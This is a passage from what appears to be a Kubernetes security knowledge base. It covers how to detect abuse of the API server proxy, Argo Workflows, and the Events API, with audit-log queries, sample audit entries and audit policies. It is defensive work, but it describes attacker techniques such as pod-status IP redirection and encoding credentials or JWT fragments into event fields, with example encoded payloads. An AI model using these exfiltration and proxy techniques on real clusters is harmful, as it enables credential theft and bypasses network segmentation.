that should be isolated. Pod status manipulation can turn the API server into an open HTTP proxy to external endpoints. Detection relies on audit log analysis of proxy requests and pod status modifications." mitigation: - "Restrict create and get on services/proxy and pods/proxy to only users and service accounts that require debugging access" - "Alert on proxy requests from pod identities to services outside their own namespace" - "Alert on any pods/status patch event from non-kubelet identities" - "Export API server audit logs to centralized logging so proxy activity is visible alongside network flow data" tools: [] mitreTechniques: [] kubernetesVersion: null createdAt: "2026-05-16T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Service proxy request - Category: defensive - Phase: N/A - Objective: Identifying abuse of the services/proxy and pods/proxy subresources to bypass network segmentation or use the API server as an open HTTP proxy ### Action checklist - Service proxy request - Pod proxy request - Detect service proxy requests - Detect cross-namespace proxy access - Detect pod status manipulation - Detect repeated status patches ### Key commands - `logcli query '{job="k8s-audit"} |= "subresource":"proxy" |= "resource":"services" |= "username":"system:serviceaccount:"' \` - `--output=jsonl \` - `| jq -r '.line | fromjson | {user: .user.username, target: (.objectRef.namespace + "/" + .objectRef.name), uri: .requestURI, timestamp: .requestReceivedTimestamp}'` - `| jq -r '` - `.line | fromjson |` - `.user.username as $user |` - `.objectRef.namespace as $target_ns |` - `($user | split(":")[2]) as $source_ns |` - `select($source_ns != $target_ns) |` - `{user: $user, source: $source_ns, target: ($target_ns + "/" + .objectRef.name), uri: .requestURI, timestamp: .requestReceivedTimestamp}` --- The Kubernetes API server proxy subresource allows authenticated users to make HTTP requests to any service or pod through the API server. This feature is designed for debugging, but it bypasses NetworkPolicies because the request originates from the API server, not the user's pod. Additionally, pod status manipulation can redirect proxy traffic to external IPs, turning the API server into an open HTTP proxy. Detection depends on two independent signals: proxy request patterns in the audit log, and unauthorized pod status modifications. ## Signal 1: Proxy Request Patterns Every proxy request to a service or pod produces a `ResponseComplete` audit entry. The `requestURI` field contains the full proxy path, including the target namespace, service or pod name, port, and request path. ### Service proxy request ```json { "kind": "Event", "apiVersion": "audit.k8s.io/v1", "level": "RequestResponse", "auditID": "f86e87fe-52fb-4251-90ab-94df381ce2eb", "stage": "ResponseComplete", "requestURI": "/api/v1/namespaces/monitoring/services/grafana:3000/proxy/", "verb": "get", "user": { "username": "system:serviceaccount:production:proxy-user", "groups": ["system:serviceaccounts", "system:serviceaccounts:production", "system:authenticated"] }, "sourceIPs": ["10.244.0.27"], "userAgent": "curl/8.7.1", "objectRef": { "resource": "services", "subresource": "proxy", "namespace": "monitoring", "name": "grafana:3000", "apiVersion": "v1" }, "responseStatus": { "metadata": {}, "code": 200 }, "requestReceivedTimestamp": "2026-05-01T15:53:25.096525Z", "stageTimestamp": "2026-05-01T15:53:25.098859Z" } ``` The key fields for detection: - `objectRef.subresource: "proxy"` identifies this as a proxy request - `objectRef.namespace: "monitoring"` is the target namespace, different from the requester's namespace (`production`) - `user.username` reveals the service account that initiated the request - `sourceIPs` shows the pod IP that made the API call ### Pod proxy request ```json { "kind": "Event", "apiVersion": "audit.k8s.io/v1", "level": "RequestResponse", "auditID": "b2c3d4e5-f6a7-8901-bcde-f12345678901", "stage": "ResponseComplete", "requestURI": "/api/v1/namespaces/production/pods/api-server:80/proxy/get", "verb": "get", "user": { "username": "system:serviceaccount:production:proxy-user", "groups": ["system:serviceaccounts", "system:serviceaccounts:production", "system:authenticated"] }, "sourceIPs": ["10.244.0.27"], "userAgent": "curl/8.7.1", "objectRef": { "resource": "pods", "subresource": "proxy", "namespace": "production", "name": "api-server:80", "apiVersion": "v1" }, "responseStatus": { "metadata": {}, "code": 200 }, "requestReceivedTimestamp": "2026-05-01T15:53:30.011346Z", "stageTimestamp": "2026-05-01T15:53:30.018432Z" } ``` ## Signal 2: Pod Status Manipulation Patching `status.podIP` to redirect proxy traffic to external IPs produces a distinct audit event: ```json { "kind": "Event", "apiVersion": "audit.k8s.io/v1", "level": "RequestResponse", "auditID": "c3d4e5f6-a7b8-9012-cdef-123456789012", "stage": "ResponseComplete", "requestURI": "/api/v1/namespaces/production/pods/api-server/status", "verb": "patch", "user": { "username": "system:serviceaccount:production:proxy-user", "groups": ["system:serviceaccounts", "system:serviceaccounts:production", "system:authenticated"] }, "sourceIPs": ["10.244.0.27"], "userAgent": "curl/8.7.1", "objectRef": { "resource": "pods", "subresource": "status", "namespace": "production", "name": "api-server", "apiVersion": "v1" }, "responseStatus": { "metadata": {}, "code": 200 }, "requestReceivedTimestamp": "2026-05-01T15:53:35.011346Z", "stageTimestamp": "2026-05-01T15:53:35.014521Z" } ``` The `user.username` is a service account, not the kubelet. In normal operation, only the kubelet patches pod status. The `requestObject` field may contain the patched IP value if `Request` or `RequestResponse` level auditing is enabled. ## Detection Queries Assuming API server audit logs are shipped to Loki with the label `{job="k8s-audit"}`. ### Detect service proxy requests Filter for proxy requests to services where the requester is a pod identity: ```bash logcli query '{job="k8s-audit"} |= "subresource":"proxy" |= "resource":"services" |= "username":"system:serviceaccount:"' \ --output=jsonl \ | jq -r '.line | fromjson | {user: .user.username, target: (.objectRef.namespace + "/" + .objectRef.name), uri: .requestURI, timestamp: .requestReceivedTimestamp}' ``` ```output { "user": "system:serviceaccount:production:proxy-user", "target": "monitoring/grafana:3000", "uri": "/api/v1/namespaces/monitoring/services/grafana:3000/proxy/", "timestamp": "2026-05-01T15:53:25.096525Z" } ``` ### Detect cross-namespace proxy access The most reliable signal is a pod identity proxying to a service in a different namespace. This query extracts the requester's namespace from the username and compares it to the target namespace: ```bash logcli query '{job="k8s-audit"} |= "subresource":"proxy" |= "resource":"services" |= "username":"system:serviceaccount:"' \ --output=jsonl \ | jq -r ' .line | fromjson | .user.username as $user | .objectRef.namespace as $target_ns | ($user | split(":")[2]) as $source_ns | select($source_ns != $target_ns) | {user: $user, source: $source_ns, target: ($target_ns + "/" + .objectRef.name), uri: .requestURI, timestamp: .requestReceivedTimestamp} ' ``` ```output { "user": "system:serviceaccount:production:proxy-user", "source": "production", "target": "monitoring/grafana:3000", "uri": "/api/v1/namespaces/monitoring/services/grafana:3000/proxy/", "timestamp": "2026-05-01T15:53:25.096525Z" } ``` ### Detect pod status manipulation Monitor for `patch` events on `pods/status` from non-kubelet identities: ```bash logcli query '{job="k8s-audit"} |= "subresource":"status" |= "verb":"patch" !~ "username":"system:node:"' \ --output=jsonl \ | jq -r '.line | fromjson | {user: .user.username, pod: (.objectRef.namespace + "/" + .objectRef.name), timestamp: .requestReceivedTimestamp}' ``` ```output { "user": "system:serviceaccount:production:proxy-user", "pod": "production/api-server", "timestamp": "2026-05-01T15:53:35.011346Z" } ``` To see the patched IP value, require `Request` level audit logging and check the `requestObject` field: ```bash logcli query '{job="k8s-audit"} |= "subresource":"status" |= "verb":"patch" !~ "username":"system:node:"' \ --output=jsonl \ | jq -r '.line | fromjson | {user: .user.username, pod: (.objectRef.namespace + "/" + .objectRef.name), patchedIP: .requestObject.status.podIP, timestamp: .requestReceivedTimestamp}' ``` ```output { "user": "system:serviceaccount:production:proxy-user", "pod": "production/api-server", "patchedIP": "203.0.113.50", "timestamp": "2026-05-01T15:53:35.011346Z" } ``` ### Detect repeated status patches Maintaining a proxy redirect requires continuous patching because the kubelet reconciles pod status. A burst of status patches to the same pod from the same identity is a strong signal: ```bash logcli query '{job="k8s-audit"} |= "subresource":"status" |= "verb":"patch" !~ "username":"system:node:"' \ --output=jsonl \ | jq -r '.line | fromjson | .objectRef.namespace + "/" + .objectRef.name + ":" + .user.username' \ | sort | uniq -c | sort -rn | head -10 ``` ```output 47 production/api-server:system:serviceaccount:production:proxy-user 3 production/api-server:system:serviceaccount:production:deployer ``` A count of 47 patches to the same pod in a short window is anomalous. Normal status updates come from the kubelet at pod lifecycle events (startup, readiness changes, termination). ## Known Legitimate Proxy Users Not every proxy request is hostile. The following are common authorized uses: | Identity | Typical use | | --- | --- | | `kubectl proxy` from admin workstation | Debugging internal services during troubleshooting | | CI/CD pipeline service accounts | Deployment verification against internal services | | Monitoring tools (Prometheus, Grafana) | Health checks and metrics scraping | | Cluster operators | Accessing control plane component endpoints | The detection signal is proxy access **outside** these patterns. A pod identity proxying to a service in a different namespace, especially a sensitive namespace like `kube-system` or `monitoring`, should trigger investigation. ## Audit Policy Requirements A minimal audit policy that captures both proxy requests and status modifications: ```yaml apiVersion: audit.k8s.io/v1 kind: Policy rules: - level: Metadata resources: - group: "" resources: ["services/proxy", "pods/proxy"] - level: Request verbs: ["patch", "update"] resources: - group: "" resources: ["pods/status"] ``` `Metadata` level is sufficient for proxy requests because the `requestURI` field already contains the full proxy path. `Request` level is required for `pods/status` patches to capture the `requestObject` containing the patched IP value. ### Detecting Argo Workflows Abuse via Audit Logs HTML: https://kubernetes-security.cloud/topics/detecting-argo-workflows-abuse Markdown: https://kubernetes-security.cloud/topics/detecting-argo-workflows-abuse.md --- title: "Detecting Argo Workflows Abuse via Audit Logs" description: "Identifying unauthorized workflow creation, CronWorkflow persistence, and WorkflowTemplate poisoning by auditing argoproj.io resource events" category: "defensive" phase: null offensiveType: null impact: "When audit logging records Argo Workflows resource creation, you can see who submitted workflows, created CronWorkflows, or modified WorkflowTemplates. Without it, malicious workflows blend into normal CI/CD traffic because the Argo controller executes them using its own credentials." mitigation: - "Enable Kubernetes audit logging with a policy that records argoproj.io resource creation events. The workflows, cronworkflows, and workflowtemplates resources are the primary signals." - "Regularly audit Roles and RoleBindings that grant workflows create, cronworkflows create, or workflowtemplates patch verbs. Keep grants narrow and namespace-scoped." - "Alert on workflow creation from identities that should never submit workflows, such as application ServiceAccounts or developer accounts outside CI/CD pipelines." - "Treat CronWorkflow creation from non-operator identities as high-priority regardless of namespace." tools: [] mitreTechniques: [] kubernetesVersion: null createdAt: "2026-05-15T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Check who can create workflows - Category: defensive - Phase: N/A - Objective: Identifying unauthorized workflow creation, CronWorkflow persistence, and WorkflowTemplate poisoning by auditing argoproj.io resource events ### Action checklist - Check who can create workflows - Check who can create CronWorkflows - Check who can modify WorkflowTemplates - Check workflow ServiceAccount permissions for secrets access - Workflows using unexpected ServiceAccounts - Workflow pods with unexpected images - CronWorkflows with aggressive schedules - Search for workflow creation ### Key commands - `kubectl get roles -A -o json \` - `| jq -r '` - `.items[] |` - `select(.rules[]? | (.apiGroups[]? == "argoproj.io") and (.resources[]? == "workflows") and (.verbs[]? == "create")) |` - `"\(.metadata.namespace)/\(.metadata.name)"` - `'` - `ROLE=""` - `NAMESPACE=""` - `kubectl get rolebindings -n "$NAMESPACE" -o json \` - `| jq -r --arg role "$ROLE" '` --- Kubernetes audit events record creation and modification of Argo Workflows custom resources. When an attacker submits a workflow via the Argo API, the Argo controller creates a Workflow object in the cluster. That creation event is recorded in the audit log with the identity of the Argo controller service account, not the attacker. The attacker identity is visible only if the Argo API server logs its own requests separately. > [!NOTE] > Kubernetes audit logging must be enabled on the API server. If auditing is off or the policy does not cover argoproj.io resources, workflow creation produces no distinguishable trail in the Kubernetes audit log. ## Signal 1: Workflow Creation Events Every Workflow, CronWorkflow, and WorkflowTemplate creation generates an audit event. The verb is create, the objectRef.resource is workflows, cronworkflows, or workflowtemplates, and the objectRef.apiGroup is argoproj.io. The Argo controller service account creates workflows on behalf of authenticated API users. In the Kubernetes audit log, the user field shows the Argo controller identity, typically system:serviceaccount:argo:argo-server. The actual user who triggered the workflow is recorded in the workflow metadata under the workflows.argoproj.io/creator label, but that label is not part of the audit event itself. ```json { "kind": "Event", "apiVersion": "audit.k8s.io/v1", "level": "Metadata", "auditID": "a1b2c3d4-e5f6-7890-abcd-ef1234567890", "stage": "ResponseComplete", "requestURI": "/apis/argoproj.io/v1alpha1/namespaces/production/workflows", "verb": "create", "user": { "username": "system:serviceaccount:argo:argo-server", "groups": ["system:serviceaccounts", "system:serviceaccounts:argo", "system:authenticated"] }, "sourceIPs": ["10.244.0.15"], "userAgent": "argo-server/v3.6.0", "objectRef": { "resource": "workflows", "apiGroup": "argoproj.io", "apiVersion": "v1alpha1", "namespace": "production" }, "responseStatus": { "metadata": {}, "code": 201 }, "requestReceivedTimestamp": "2026-05-14T10:23:45.011346Z", "stageTimestamp": "2026-05-14T10:23:45.015221Z" } ``` The user.username is system:serviceaccount:argo:argo-server. This is the Argo API server identity. Every workflow creation appears to come from this account in the Kubernetes audit log, regardless of who authenticated to the Argo API. ## Signal 2: RBAC Grants for Workflow Permissions Workflow creation requires the create verb on workflows, cronworkflows, or workflowtemplates in the argoproj.io API group. Proactively auditing these grants helps identify potential abuse paths before they are exploited. ### Check who can create workflows List every Role that grants the workflows create verb: ```bash kubectl get roles -A -o json \ | jq -r ' .items[] | select(.rules[]? | (.apiGroups[]? == "argoproj.io") and (.resources[]? == "workflows") and (.verbs[]? == "create")) | "\(.metadata.namespace)/\(.metadata.name)" ' ``` ```output argo/submit-workflow-template argo/workflow-manager production/workflow-submitter ``` For each Role returned, list the subjects that hold it: ```bash ROLE="" NAMESPACE="" kubectl get rolebindings -n "$NAMESPACE" -o json \ | jq -r --arg role "$ROLE" ' .items[] | select(.roleRef.name == $role) | .subjects[]?? | "\(.kind)/\(.name)" ' ``` ```output ServiceAccount/workflow-sa ``` Flag bindings where the subject is a ServiceAccount in an application namespace, or where resourceNames is absent from the role rules. ### Check who can create CronWorkflows ```bash kubectl get roles -A -o json \ | jq -r ' .items[] | select(.rules[]? | (.apiGroups[]? == "argoproj.io") and (.resources[]? == "cronworkflows") and (.verbs[]? == "create")) | "\(.metadata.namespace)/\(.metadata.name)" ' ``` CronWorkflow creation is more dangerous than one-time workflows because it persists in the cluster and executes on a recurring schedule. Any identity with this permission outside of a dedicated scheduler or operator should be reviewed. ### Check who can modify WorkflowTemplates ```bash kubectl get roles -A -o json \ | jq -r ' .items[] | select(.rules[]? | (.apiGroups[]? == "argoproj.io") and (.resources[]? == "workflowtemplates") and (.verbs[]? == "patch" or .verbs[]? == "update")) | "\(.metadata.namespace)/\(.metadata.name)" ' ``` WorkflowTemplate modification enables supply chain compromise. Any identity with patch or update on workflowtemplates can inject malicious steps into templates that CI/CD pipelines reference. ### Check workflow ServiceAccount permissions for secrets access Workflow ServiceAccounts often hold broader permissions than the identity that submitted the workflow. Check which workflow SAs can read secrets: ```bash kubectl get roles -A -o json \ | jq -r ' .items[] | select(.rules[]? | (.resources[]? == "secrets") and (.verbs[]? == "get") and ((.resourceNames // []) | length == 0)) | "\(.metadata.namespace)/\(.metadata.name)" ' ``` ```output argo/argo-role production/workflow-role ``` A workflow SA with secrets:get and no resourceNames can read every secret in the namespace. This is the most common misconfiguration that enables secret exfiltration via workflow identity. ## Signal 3: Suspicious Workflow Characteristics Workflows created by attackers often exhibit patterns that differ from legitimate CI/CD pipelines. ### Workflows using unexpected ServiceAccounts List all workflows and the ServiceAccount they run under: ```bash kubectl get workflows -A -o json \ | jq -r ' .items[] | "\(.metadata.namespace)/\(.metadata.name) -> SA: \(.spec.serviceAccountName // "(default)")" ' ``` Flag workflows running under ServiceAccounts that are not associated with approved CI/CD pipelines. ### Workflow pods with unexpected images Check what container images workflow pods are using: ```bash kubectl get pods -A -l workflows.argoproj.io/workflow -o json \ | jq -r ' .items[] | .metadata.name as $pod | .metadata.namespace as $ns | .spec.containers[] | select(.name != "wait") | "\($ns)/\($pod) -> image: \(.image)" ' ``` Workflows using images outside the organization approved list, such as alpine:latest, busybox, or bitnami/kubectl, warrant investigation. Legitimate CI/CD pipelines typically use specific application images or approved base images with pinned tags. ### CronWorkflows with aggressive schedules List all CronWorkflows and their schedules: ```bash kubectl get cronworkflows -A -o json \ | jq -r ' .items[] | "\(.metadata.namespace)/\(.metadata.name) -> schedule: \(.spec.schedule), SA: \(.spec.serviceAccountName // "(default)")" ' ``` CronWorkflows running every few minutes, such as */5 * * * * or more frequent, from non-operator identities are suspicious. Legitimate scheduled workflows typically run on hourly or daily intervals. ## Detection Queries Assuming API server audit logs are shipped to Loki with the label {job="k8s-audit"}. ### Search for workflow creation Filter for Workflow creation events: ```bash logcli query '{job="k8s-audit"} |= "resource":"workflows" |= "verb":"create" |= "argoproj.io"' \ --output=jsonl \ | jq -r '.line | fromjson | {user: .user.username, namespace: .objectRef.namespace, timestamp: .requestReceivedTimestamp}' ``` ### Search for CronWorkflow creation ```bash logcli query '{job="k8s-audit"} |= "resource":"cronworkflows" |= "verb":"create" |= "argoproj.io"' \ --output=jsonl \ | jq -r '.line | fromjson | {user: .user.username, namespace: .objectRef.namespace, timestamp: .requestReceivedTimestamp}' ``` ### Search for WorkflowTemplate modifications ```bash logcli query '{job="k8s-audit"} |= "resource":"workflowtemplates" |= "verb":"patch" |= "argoproj.io"' \ --output=jsonl \ | jq -r '.line | fromjson | {user: .user.username, namespace: .objectRef.namespace, timestamp: .requestReceivedTimestamp}' ``` ## Known Legitimate Workflow Patterns Not every workflow creation is hostile. The following are common authorized uses: | Source | Typical use | | --- | --- | | CI/CD pipelines | Triggering build and deployment workflows | | Argo Events | Event-driven workflow execution | | Platform operators | Testing workflow templates and configurations | | Scheduled data processing | CronWorkflows for periodic ETL jobs | The detection signal is workflow creation outside these patterns. A workflow submitted from a ServiceAccount that has never done it before, or a CronWorkflow created at an unusual hour from an unexpected namespace, should trigger investigation. ## Correlation with Other Signals Workflow abuse rarely happens in isolation. After finding suspicious workflow activity, check for related activity from the same identity. ### Check for permission enumeration before workflow submission An attacker often maps their capabilities before submitting workflows: ```bash logcli query '{job="k8s-audit"} |= "resource":"selfsubjectrulesreviews" |= "verb":"create"' \ --output=jsonl \ | jq -r '.line | fromjson | {user: .user.username, timestamp: .requestReceivedTimestamp}' ``` A spike in SelfSubjectRulesReview requests followed by workflow creation suggests the attacker was mapping their capabilities first. ### Check what workflows accessed after execution After identifying suspicious workflows, check what resources the workflow ServiceAccount accessed: ```bash logcli query '{job="k8s-audit"} |= "verb":"get" |= "resource":"secrets"' \ --output=jsonl \ | jq -r '.line | fromjson | {user: .user.username, namespace: .objectRef.namespace, resource: .objectRef.name, timestamp: .requestReceivedTimestamp}' ``` Filter for events where user.username matches the workflow ServiceAccount. This reveals whether the workflow used its identity to read secrets or access other sensitive resources. ## Audit Policy Requirements A minimal audit policy that captures Argo Workflows activity: ```yaml apiVersion: audit.k8s.io/v1 kind: Policy rules: - level: Metadata verbs: ["create", "patch", "update"] resources: - group: "argoproj.io" resources: ["workflows", "cronworkflows", "workflowtemplates"] ``` Metadata level is enough to see the user, verb, resource, and namespace. Request and RequestResponse add the workflow spec in the request body, which reveals the serviceAccountName, container images, and commands defined in the workflow. This is valuable for investigation but generates significantly more log volume. ## Limitations This detection depends on audit logging being enabled with at least Metadata level coverage for argoproj.io resources. A minimal audit policy that satisfies this requirement: ```yaml apiVersion: audit.k8s.io/v1 kind: Policy rules: - level: Metadata verbs: ["create", "patch", "update"] resources: - group: "argoproj.io" resources: ["workflows", "cronworkflows", "workflowtemplates"] ``` The Kubernetes audit log records the Argo controller service account as the creator, not the actual user who authenticated to the Argo API. To identify the original submitter, you must inspect the workflows.argoproj.io/creator label on the Workflow object itself, or enable separate audit logging on the Argo API server. Clusters without audit logging configured produce no audit events and cannot surface this signal. ### Detecting Data Exfiltration via Kubernetes Events HTML: https://kubernetes-security.cloud/topics/detecting-data-exfiltration-via-events Markdown: https://kubernetes-security.cloud/topics/detecting-data-exfiltration-via-events.md --- title: "Detecting Data Exfiltration via Kubernetes Events" description: "Identifying abuse of the Kubernetes Events API to smuggle data out of a cluster through event message fields" category: "defensive" phase: null offensiveType: null impact: "An attacker with permission to create events can encode stolen credentials in event fields that appear as normal cluster activity. The audit log records who created each event and when, exposing non-controller identities writing to the events resource." mitigation: - "Audit the events resource at Request level in the audit policy to capture message content alongside the creator identity" - "Alert on event creation from any identity outside the known controller allowlist, particularly non-system service accounts or user identities" tools: [] mitreTechniques: [] kubernetesVersion: null createdAt: "2026-04-12T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Numeric anomalies in message - Category: defensive - Phase: N/A - Objective: Identifying abuse of the Kubernetes Events API to smuggle data out of a cluster through event message fields ### Action checklist - Numeric anomalies in message - Image digest channel - Hex-encoded data in reportingInstance - Detect non-controller event creation - Detect anomalous reportingInstance length ### Key commands - `kubectl get events -n -o json \` - `| jq '.items[] | {name: .metadata.name, reason: .reason, message: .message, source: .source}'` - `| jq '.items[] | select(.reportingInstance != null and (.reportingInstance | length) > 253) | {name: .metadata.name, reportingInstance}'` - `grep '"resource":"events"' /var/log/kubernetes/audit.log \` - `| grep '"verb":"create"' \` - `| jq 'select((.requestObject.reportingInstance // "" | length) > 253) | {user: .user.username, name: .objectRef.name, reportingInstance: .requestObject.reportingInstance}'` - `logcli query '{job="k8s-audit"} |= "resource":"events" |= "verb":"create" !~ "username":"system:serviceaccount:kube-system:"' \` - `--output=jsonl \` - `| jq -r '.line | fromjson | {user: .user.username, event: .objectRef.name, timestamp: .requestReceivedTimestamp}'` - `logcli query '{job="k8s-audit"} |= "resource":"events" |= "verb":"create"' \` --- The event below was created by a user, not the kubelet. Both the image size and the source fields are attacker-controlled: ```output LAST SEEN TYPE REASON OBJECT MESSAGE 5m Normal Pulled pod/nginx-7d9b4c-xk9p2 Successfully pulled image "nginx:1.21.6" in 1.565s (1.565s including waiting). Image size: 190503180520 bytes. 6m Normal Pulled pod/nginx Successfully pulled image "nginx:1.21.6" in 7.425s (7.425s including waiting). Image size: 134469729 bytes. ``` Both events share `reason: Pulled` and the same image name. The malicious one references a pod that does not exist, and the image size is approximately 177GB against the real 128MB for `nginx:1.21.6`. Neither is a reliable automated signal. The reliable signal is in the audit log. ## How Detection Works Detection depends on two independent signals. The audit log answers who created an event. The event content answers what was written. At `Metadata` level the audit log captures the creator identity but not the message or numeric field values. ## Signal 1: Creator Identity Every event creation produces a `ResponseComplete` audit entry. An alert fires when an event is created by an identity outside the known controller allowlist. This works at `Metadata` level and requires no special audit policy changes. ```json { "kind": "Event", "apiVersion": "audit.k8s.io/v1", "level": "Metadata", "auditID": "3489e8b5-0ad7-4189-a85c-d6e404d43076", "stage": "ResponseComplete", "requestURI": "/api/v1/namespaces/production/events?fieldManager=kubectl-client-side-apply&fieldValidation=Strict", "verb": "create", "user": { "username": "jane", "groups": ["system:masters", "system:authenticated"], "extra": { "authentication.kubernetes.io/credential-id": ["X509SHA256=492cca92bcc2c74153290f6e3343e5d84a3498ab011963797f6545e681ac70d0"] } }, "sourceIPs": ["203.0.113.45"], "userAgent": "kubectl/v1.35.3 (darwin/arm64) kubernetes/6c1cd99", "objectRef": { "resource": "events", "namespace": "production", "name": "nginx-7d9b4c-xk9p2.18a45e7e41549f71", "apiVersion": "v1" }, "responseStatus": { "metadata": {}, "code": 201 }, "requestReceivedTimestamp": "2026-04-11T16:39:18.982281Z", "stageTimestamp": "2026-04-11T16:39:18.985681Z", "annotations": { "authorization.k8s.io/decision": "allow", "authorization.k8s.io/reason": "" } } ``` The `user.username` is `jane`, not a controller service account. That is the trigger. The `source.component: kubelet` value inside the event object is not visible here and carries no weight. The API server stores whatever the creator submits. ## Signal 2: Event Content The first path is to query events directly via the API. This shows the full content of every event currently in etcd: ```bash kubectl get events -n -o json \ | jq '.items[] | {name: .metadata.name, reason: .reason, message: .message, source: .source}' ``` ```output { "name": "nginx-7d9b4c-xk9p2.18a45e7e41549f71", "reason": "Pulled", "message": "Successfully pulled image \"nginx:1.21.6\" in 1.565s (1.565s including waiting). Image size: 190503180520 bytes.", "source": { "component": "kubelet", "host": "worker-node-1" } } ``` The data is in the numeric value `190503180520`. A1Z26 decoding maps each two-digit pair to a letter: `19=S`, `05=E`, `03=C`, `18=R`, `05=E`, `20=T`. The limitation of this path is that events expire out of etcd. Direct inspection only works while the event is still present. The second path is to raise the audit policy to `Request` level for the `events` resource. This captures the full request body into the audit log at write time, before the event expires: ```yaml apiVersion: audit.k8s.io/v1 kind: Policy rules: - level: Request resources: - group: "" resources: ["events"] verbs: ["create", "patch"] - level: Metadata resources: - group: "" resources: ["*"] ``` With this policy, the audit record includes `requestObject` containing the full event body, captured regardless of whether the event later expires: ```json { "kind": "Event", "apiVersion": "audit.k8s.io/v1", "level": "Request", "auditID": "5e2c019d-1608-4285-ba69-f1e1941a234e", "stage": "ResponseComplete", "requestURI": "/api/v1/namespaces/production/events?fieldManager=kubectl-client-side-apply&fieldValidation=Strict", "verb": "create", "user": { "username": "jane", "groups": ["system:masters", "system:authenticated"], "extra": { "authentication.kubernetes.io/credential-id": ["X509SHA256=492cca92bcc2c74153290f6e3343e5d84a3498ab011963797f6545e681ac70d0"] } }, "sourceIPs": ["203.0.113.45"], "objectRef": { "resource": "events", "namespace": "production", "name": "nginx-7d9b4c-xk9p2.18a45e7e41549f71", "apiVersion": "v1" }, "responseStatus": { "metadata": {}, "code": 201 }, "requestObject": { "reason": "Pulled", "message": "Successfully pulled image \"nginx:1.21.6\" in 1.565s (1.565s including waiting). Image size: 190503180520 bytes.", "source": { "component": "kubelet", "host": "worker-node-1" }, "type": "Normal" }, "requestReceivedTimestamp": "2026-04-11T16:39:18.982281Z", "stageTimestamp": "2026-04-11T16:39:18.985681Z", "annotations": { "authorization.k8s.io/decision": "allow", "authorization.k8s.io/reason": "" } } ``` A SIEM rule scanning `requestObject.message` for numeric values outside the plausible container image size range catches A1Z26-encoded payloads without knowing the cipher. ### Numeric anomalies in message Attackers may encode data using A1Z26 or similar ciphers within numeric values in the `message` field: ```json { "requestObject": { "reason": "Pulled", "message": "Successfully pulled image \"nginx:1.21.6\" in 1.565s (1.565s including waiting). Image size: 190503180520 bytes.", "source": { "component": "kubelet", "host": "worker-node-1" }, "type": "Normal" } } ``` The value `190503180520` is far outside the plausible range for a container image size and contains encoded data. ### Image digest channel An attacker encodes a credential such as an AWS access key ID as hex and embeds it in the `sha256:` position of a pinned image digest: ```output Successfully pulled image "nginx:1.21.6@sha256:414b4941494f53464f444e4e374558414d504c45000000000000000000000000" in 1.565s (1.565s including waiting). Image size: 134469729 bytes. ``` The digest `414b4941494f53464f444e4e374558414d504c45000000000000000000000000` hex-decodes to `AKIAIOSFODNN7EXAMPLE` padded with null bytes. The message format, image size, and digest length are all correct. Detection at `Request` level requires extracting the digest from `requestObject.message` and comparing it against the known real digest for that image tag. Any mismatch is the signal. ### Hex-encoded data in reportingInstance This field is not displayed by `kubectl get events`. In `-o wide` output it appears in the **SOURCE** column as `kubelet, ` alongside the component name, but the hex string blends into the wide table and is easy to overlook. Only `-o json` surfaces it cleanly as a dedicated field. An attacker stores a hex-encoded service account token fragment here while the visible event message remains a normal pull result: ```json { "requestObject": { "message": "Successfully pulled image \"order-service:v2.4.1\" in 2.103s (2.103s including waiting). Image size: 134469729 bytes.", "reportingComponent": "kubelet", "reportingInstance": "65794a68624763694f694a53557a49314e694973496d74705a434936496b4e4b596e6857566b4a5a626a45336444464d513052334f4863774e6c6c5a52454e7a4d304e55634846785a30316b53456b7453453835646c6b6966512e65794a68645751694f6c73696148523063484d364c79397264574a..." } } ``` The `reportingInstance` value hex-decodes to the first chunk of a service account JWT token for `system:serviceaccount:production:deployer`. Three consecutive events carry the full token across three chunks, reassembled on retrieval. Real kubelet events set `reportingInstance` to the node hostname. Any value that is not a valid cluster hostname warrants inspection. Detection requires an explicit query. The default event list will not surface this: ```bash kubectl get events -n -o json \ | jq '.items[] | select(.reportingInstance != null and (.reportingInstance | length) > 253) | {name: .metadata.name, reportingInstance}' ``` The hostname length limit of 253 characters is the reliable threshold. Hex-encoded payloads are at minimum hundreds of characters a 933-character JWT produces 1866 hex characters, split across three chunks of ~622 each. A hostname regex is not sufficient because hex strings consist entirely of `[0-9a-f]`, which passes any `[a-z0-9]` pattern. The query above only works while the event is still in etcd. The audit log at `Metadata` level genuinely hides `reportingInstance`, the `requestObject` is absent and the canary value does not appear anywhere in the audit entry. At `Request` level the audit log captures `requestObject.reportingInstance` permanently at write time, before the event expires. A SIEM rule on that field with the same length threshold catches the channel regardless of event retention: ```bash grep '"resource":"events"' /var/log/kubernetes/audit.log \ | grep '"verb":"create"' \ | jq 'select((.requestObject.reportingInstance // "" | length) > 253) | {user: .user.username, name: .objectRef.name, reportingInstance: .requestObject.reportingInstance}' ``` ## Detection Queries Assuming API server audit logs are shipped to Loki with the label `{job="k8s-audit"}`. ### Detect non-controller event creation Filter for event creation by identities outside the known controller allowlist: ```bash logcli query '{job="k8s-audit"} |= "resource":"events" |= "verb":"create" !~ "username":"system:serviceaccount:kube-system:"' \ --output=jsonl \ | jq -r '.line | fromjson | {user: .user.username, event: .objectRef.name, timestamp: .requestReceivedTimestamp}' ``` ```output { "user": "jane", "event": "nginx-7d9b4c-xk9p2.18a45e7e41549f71", "timestamp": "2026-04-11T16:39:18.982281Z" } ``` ### Detect anomalous reportingInstance length Monitor for `reportingInstance` values exceeding the hostname length limit of 253 characters: ```bash logcli query '{job="k8s-audit"} |= "resource":"events" |= "verb":"create"' \ --output=jsonl \ | jq -r '.line | fromjson | select((.requestObject.reportingInstance // "" | length) > 253) | {user: .user.username, event: .objectRef.name, reportingInstance: .requestObject.reportingInstance}' ``` ## Known Legitimate Event Writers Any event creation from an identity outside this list warrants investigation: | Service Account | Creates events for | | --- | --- | | `system:serviceaccount:kube-system:replicaset-controller` | ReplicaSet scaling | | `system:serviceaccount:kube-system:deployment-controller` | Deployment rollouts | | `system:serviceaccount:kube-system:statefulset-controller` | StatefulSet updates | | `system:serviceaccount:kube-system:daemon-set-controller` | DaemonSet scheduling | | `system:serviceaccount:kube-system:job-controller` | Job execution | | `system:serviceaccount:kube-system:cronjob-controller` | CronJob execution | | `system:serviceaccount:kube-system:horizontal-pod-autoscaler` | HPA scaling decisions | | `system:serviceaccount:kube-system:node-controller` | Node lifecycle | ## Audit Policy Requirements A minimal audit policy that captures both creator identity and event content: ```yaml apiVersion: audit.k8s.io/v1 kind: Policy rules: - level: Metadata resources: - group: "" 